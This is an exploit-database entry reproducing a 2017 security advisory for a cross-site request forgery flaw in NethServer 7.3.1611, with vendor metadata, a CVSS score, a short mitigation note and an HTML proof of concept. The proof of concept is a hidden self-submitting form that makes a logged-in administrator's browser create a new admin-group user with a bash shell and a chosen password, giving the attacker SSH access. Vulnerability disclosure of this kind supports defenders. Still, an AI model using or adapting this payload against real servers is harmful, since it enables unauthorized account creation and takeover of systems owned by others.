NethServer 7.3.1611 (create.json) CSRF Create User And Enable SSH Access

vendor:

NethServer

by:

Gjoko 'LiquidWorm' Krstic

8,8

CVSS

HIGH

Cross-Site Request Forgery (CSRF)

352

CWE

Product Name: NethServer

Affected Version From: 7.3.1611-u1-x86_64

Affected Version To: 7.3.1611-u1-x86_64

Patch Exists: NO

Related CWE: N/A

CPE: o:nethserver:nethserver:7.3.1611-u1-x86_64

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Kernel 3.10.0.-514.el7.x86_64 on an x86_64 CentOS Linux 7.3.1611 (Core)

2017

NethServer 7.3.1611 (create.json) CSRF Create User And Enable SSH Access

The application interface allows users to perform certain actions via HTTP requests without performing any validity checks to verify the requests. This can be exploited to perform certain actions with administrative privileges if a logged-in user visits a malicious web site.

Mitigation:

Implementing a random token in the request and validating it on the server side can prevent CSRF attacks.

Source

Exploit-DB raw data:

<!--

NethServer 7.3.1611 (create.json) CSRF Create User And Enable SSH Access


Vendor: NethServer.org
Product web page: https://www.nethserver.org
Affected version: 7.3.1611-u1-x86_64

Summary: NethServer is an operating system for the Linux
enthusiast, designed for small offices and medium enterprises.
It's simple, secure and flexible.

Desc: The application interface allows users to perform certain
actions via HTTP requests without performing any validity checks
to verify the requests. This can be exploited to perform certain
actions with administrative privileges if a logged-in user visits
a malicious web site.

Tested on: Kernel 3.10.0.-514.el7.x86_64 on an x86_64
           CentOS Linux 7.3.1611 (Core)


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2017-5433
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5433.php


16.08.2017

-->


HTML Decoded PoC:

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://172.19.0.195:980/en-US/Account/User/create.json" method="POST">
      <input type="hidden" name="Account[User][create][username]" value="Blabla" />
      <input type="hidden" name="Account[User][create][gecos]" value="Test1" />
      <input type="hidden" name="Account[User][create][groups]" value="" />
      <input type="hidden" name="Account[User][create][groups][1]" value="admin@zsl.lsz" />
      <input type="hidden" name="Account[User][create][expires]" value="no" />
      <input type="hidden" name="Account[User][create][shell]" value="/usr/libexec/openssh/sftp-server" />
      <input type="hidden" name="Account[User][create][shell]" value="/bin/bash" />
      <input type="hidden" name="Account[User][create][setPassword]" value="disabled" />
      <input type="hidden" name="Account[User][create][setPassword]" value="enabled" />
      <input type="hidden" name="Account[User][create][newPassword]" value="gi3fme$heLL!" />
      <input type="hidden" name="Account[User][create][confirmNewPassword]" value="gi3fme$heLL!" />
      <input type="hidden" name="Account[User][create][Submit]" value="Submit" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>